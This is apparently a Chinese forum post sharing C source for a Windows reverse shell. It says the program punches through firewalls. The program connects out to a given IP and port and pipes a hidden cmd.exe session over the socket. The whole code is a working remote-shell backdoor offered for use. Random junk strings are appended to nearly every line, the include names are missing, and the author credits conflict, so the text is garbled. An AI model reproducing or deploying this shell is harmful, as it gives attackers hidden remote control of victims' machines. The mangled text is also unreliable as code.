这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F}#=qBa[
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/* ============================== h&?tF~h
Rebound port in Windows NT Jm
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By wind,2006/7 l@%7]
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===============================*/ m2Q#ATLW
#include lD)QB!*v
#include qL68/7:A
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#pragma comment(lib,"wsock32.lib") `]g}M,
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void OutputShell(); YQ<O.E
SOCKET sClient; \9dC z;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :+|os"
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void main(int argc,char **argv) :ugj+
{ qn R{'d
WSADATA stWsaData; g\
p;
int nRet; eVbaxL!Q^
SOCKADDR_IN stSaiClient,stSaiServer; X2p9KC
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if(argc != 3) l=<
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{ > 9wEx[
printf("Useage:\n\rRebound DestIP DestPort\n"); fdTyY ;
return; @~<M_63
} cLe659 &
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WSAStartup(MAKEWORD(2,2),&stWsaData); W%RjjLJ@
{ sL(PS.z
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); slMWk;fmD}
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stSaiClient.sin_family = AF_INET; ?I.<mdhN#t
stSaiClient.sin_port = htons(0); ,~-
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); skP2IMa75
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CEos`
{ KBo/GBD]|
printf("Bind Socket Failed!\n"); I8 {2cM;
return; 9:tKRN_D
} I 0}+}{M:
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stSaiServer.sin_family = AF_INET; t,K_!-HX+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HLcK d`$/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &Q"Ox{~W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /Hl]$sJY
{ _S;L|1>S
printf("Connect Error!"); )/F1,&/N`e
return; =<,AzuV
} YS5 Pt)?
OutputShell(); 29E9ZjSK
} Iz\IQa
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void OutputShell() k%Q>lf<e
{ 7$7Y)&\5w
char szBuff[1024]; 1[vmK,N=E
SECURITY_ATTRIBUTES stSecurityAttributes; %vO b"K$X
OSVERSIONINFO stOsversionInfo; w;(`!^xv
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T7=~l)I
STARTUPINFO stStartupInfo; agFWye
char *szShell; :n&n"`D~
PROCESS_INFORMATION stProcessInformation; 7uQ-:n
unsigned long lBytesRead; NK+iLXC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,IW$XD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QX'/PO
stSecurityAttributes.lpSecurityDescriptor = 0; NQ@."8
stSecurityAttributes.bInheritHandle = TRUE; 3%<xM/#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *@r)3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .)>DFGb>H
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hYW<4{Gjr
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DM%4V|F"
stStartupInfo.wShowWindow = SW_HIDE; PZRm.vC)k
stStartupInfo.hStdInput = hReadPipe; b:nHcxDU<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i#
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GetVersionEx(&stOsversionInfo); 0'm4
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switch(stOsversionInfo.dwPlatformId) ttPa[h{!
{ ~'e/lX9g-
case 1: }F1|&
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szShell = "command.com"; J:,>/')n
break; E{*~>#+
default: <[2]p\rj
szShell = "cmd.exe"; k4+F
break; >*v^E9Y
} s:UQ~p}"S
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uJ4RjLM`
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send(sClient,szMsg,77,0); f_r1(o5:Y
while(1) 37 wm[Z
{ Z;aQ/n[`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;Bo{.916
if(lBytesRead) I%43rdoPe
{ tdn[]|=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *ws!8-)fH
send(sClient,szBuff,lBytesRead,0); !+4}x;!8
} y8Bi5Ae,+1
else \$2E
{ `7P4O
lBytesRead=recv(sClient,szBuff,1024,0); y_$=Pu6H
if(lBytesRead<=0) break; 9qe6hF/29
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x )wIGo
} XX5 ):1
} sH(AsKiNKe
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return; UDHk@M
}